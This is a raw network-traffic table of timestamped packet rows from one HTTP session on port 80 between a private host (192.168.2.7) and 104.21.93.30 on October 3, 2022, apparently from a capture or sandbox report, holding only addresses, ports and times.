Oct 3, 2022 17:34:51.104361057 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104368925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104393959 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104415894 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104418993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104444027 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104464054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104470015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104495049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104517937 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104518890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104546070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104562044 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104569912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104595900 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104609966 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104619980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104641914 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104664087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104665995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104691982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104707003 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104716063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104741096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104753017 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104765892 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104790926 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104815006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104815960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104842901 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104851007 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104866982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104892015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104903936 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104916096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104940891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104954004 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.104965925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.104989052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105000973 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.105015039 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105040073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105051994 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.105066061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105089903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105113029 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.105117083 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105144024 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.105156898 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.155848980 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.155885935 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.155909061 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.155935049 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.155961990 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.155963898 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.155987978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156009912 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156013966 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156039953 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156047106 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156066895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156079054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156092882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156119108 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156125069 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156145096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156172037 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156177044 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156198025 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156218052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156236887 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156255007 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156274080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156291008 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156313896 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156339884 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156347036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156366110 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156383991 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156393051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156418085 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156440973 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156450987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156465054 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156490088 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156507969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156527996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156547070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156570911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156575918 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156595945 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156608105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156621933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156646967 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156666040 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156686068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156704903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156727076 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156728029 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156738043 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156754017 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156779051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156800985 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156800985 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156829119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156830072 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156856060 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156861067 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156881094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156905890 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156909943 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.156933069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.156959057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.157063961 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.157063961 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.157291889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.157315969 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.157339096 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.157361031 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.157393932 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.157434940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189183950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189218998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189269066 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189281940 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189297915 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189323902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189347982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189371109 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189372063 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189397097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189398050 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189423084 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189450026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189472914 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189481020 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189495087 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189510107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189534903 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189558983 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189563036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189584970 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189609051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189615011 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189635038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189659119 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189665079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189685106 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189711094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189717054 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189771891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.189943075 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189970016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.189995050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190015078 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190021038 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190047026 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190059900 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190066099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190110922 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190162897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190187931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190212011 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190236092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190243006 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190262079 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190290928 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190294981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190308094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190330982 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190337896 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190368891 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190383911 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190396070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190419912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190438032 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190444946 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190471888 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190485954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190498114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190521955 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190547943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.190568924 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.190648079 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.194389105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194415092 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194441080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194468021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194482088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.194494009 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194515944 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.194520950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194546938 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194561005 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.194571018 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194596052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194610119 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.194619894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.194662094 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.221797943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221823931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221843004 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221859932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221877098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221895933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221913099 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221930981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221935987 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.221949100 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221968889 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.221975088 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.221986055 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.221991062 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.222009897 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.222018957 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.222028971 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.222047091 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.222054005 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.222063065 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.222093105 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.268999100 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.287870884 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.287942886 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.320255995 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.320302963 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.388551950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.388593912 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.388818979 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.401964903 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.402049065 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.434504032 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.434539080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564575911 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564609051 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564626932 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564645052 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564662933 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564678907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564697981 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564714909 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564734936 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564752102 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564765930 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564771891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.564779043 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564798117 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564815998 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564831018 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.564835072 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564853907 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564871073 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564888954 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564888954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.564888954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.564903021 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564910889 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.564922094 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564940929 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564949036 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.564961910 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564980030 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.564992905 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565000057 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565017939 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565028906 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565035105 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565074921 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565148115 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565167904 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565185070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565278053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565278053 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565336943 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565356016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565373898 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565391064 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565408945 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565426111 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565443993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565444946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565444946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565458059 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565476894 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565491915 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565498114 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565517902 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565535069 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565552950 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565571070 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565577030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565577030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565577030 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565586090 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565604925 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565623999 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565642118 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.565660954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565660954 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.565696955 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566128016 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566148996 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566169977 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566188097 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566205978 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566216946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566224098 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566251993 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566267967 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566268921 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566288948 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566307068 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566324949 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566330910 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566340923 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566344976 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566364050 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566381931 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566387892 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566401958 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566418886 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566427946 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566437960 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566457033 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566468000 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566476107 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566487074 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566495895 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566514015 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.566524982 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.566562891 CEST	49702	80	192.168.2.7	104.21.93.30
Oct 3, 2022 17:34:51.567053080 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.567082882 CEST	80	49702	104.21.93.30	192.168.2.7
Oct 3, 2022 17:34:51.567101955 CEST	80	49702	104.21.93.30	192.168.2.7
